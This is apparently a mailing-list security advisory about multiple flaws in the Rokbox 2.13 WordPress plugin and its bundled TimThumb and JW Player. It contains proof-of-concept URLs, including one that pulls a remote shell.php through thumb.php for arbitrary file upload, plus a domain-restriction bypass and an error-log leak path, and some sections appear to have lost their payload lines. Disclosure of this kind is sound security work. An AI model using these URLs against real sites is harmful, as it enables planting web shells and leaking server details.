WordPress Rokbox 2.13 XSS / DoS / File Upload / Path Disclosure

`Hello list!  
  
I want to warn you about multiple security vulnerabilities in plugin Rokbox   
for WordPress.  
  
These are Cross-Site Scripting, Full path disclosure, Abuse of  
Functionality, Denial of Service, Arbitrary File Upload, Content Spoofing  
and Information Leakage vulnerabilities. Rokbox uses TimThumb 1.16 and JW  
Player 4.4.198, so some of vulnerabilities are related to plugin itself,  
some to TimThumb (vulnerabilities in which I've disclosed in 2011 and  
developer fixed them after my informing) and some to JW Player  
(vulnerabilities in which I've disclosed in 2012 and developer fixed them  
after my informing).  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are Rokbox 2.13 and previous versions.  
  
To CS and XSS in JW Player and FPD are vulnerable all versions of Rokbox for  
WordPress (Rokbox <= 2.13), but IL and vulnerabilities in TimThumb were  
fixed. After my informing in August the developers changed TimThumb to  
phpThumb, so version 2.13 isn't vulnerable to them.

Abuse of Functionality (WASC-42):

http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://site.flickr.com&h=1&w=1  
(bypass of restriction on domain, if such restriction is turned on)  
  
DoS (WASC-10):

(bypass of restriction on domain, if such restriction is turned on)  
  
About such Abuse of Functionality and Denial of Service vulnerabilities you  
can read in my article Using of the sites for attacks on other sites  
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).  
  
Arbitrary File Upload (WASC-31):  
  
http://site/wp-content/plugins/wp_rokbox/thumb.php?src=http://flickr.com.site.com/shell.php  
  
This Arbitrary File Upload vulnerability in TimThumb was disclosed last year  
after 3,5 months after my disclosure of previous holes.  
  
Content Spoofing (WASC-12):  
  
In parameter file there can be set as video, as audio files.  
  
Swf-file of JW Player accepts arbitrary addresses in parameters file and  
image, which allows to spoof content of flash - i.e. by setting addresses of  
video (audio) and/or image files from other site.

Content Spoofing (WASC-12):  
  
Swf-file of JW Player accepts arbitrary addresses in parameter config, which  
allows to spoof content of flash - i.e. by setting address of config file  
from other site (parameters file and image in xml-file accept arbitrary  
addresses). For loading of config file from other site it needs to have  
crossdomain.xml.

1.xml  
  
<config>  
<file>1.flv</file>  
<image>1.jpg</image>  
</config>  
  
Content Spoofing (WASC-12):

Information Leakage (WASC-13):  
  
http://site/wp-content/plugins/wp_rokbox/error_log  
  
Leakage of error log with full paths.

Timeline:  
------------   
  
2012.08.24 - announced at my site.  
2012.08.28 - informed developers.  
2012.08.29 - developers answered that they will look at it.  
2012.12.14 - disclosed at my site (http://websecurity.com.ua/6006/). The  
developers haven't told me, which holes and in which versions they fixed,  
but my checking of the last version of RokBox showed that they fixed only  
part of the holes.
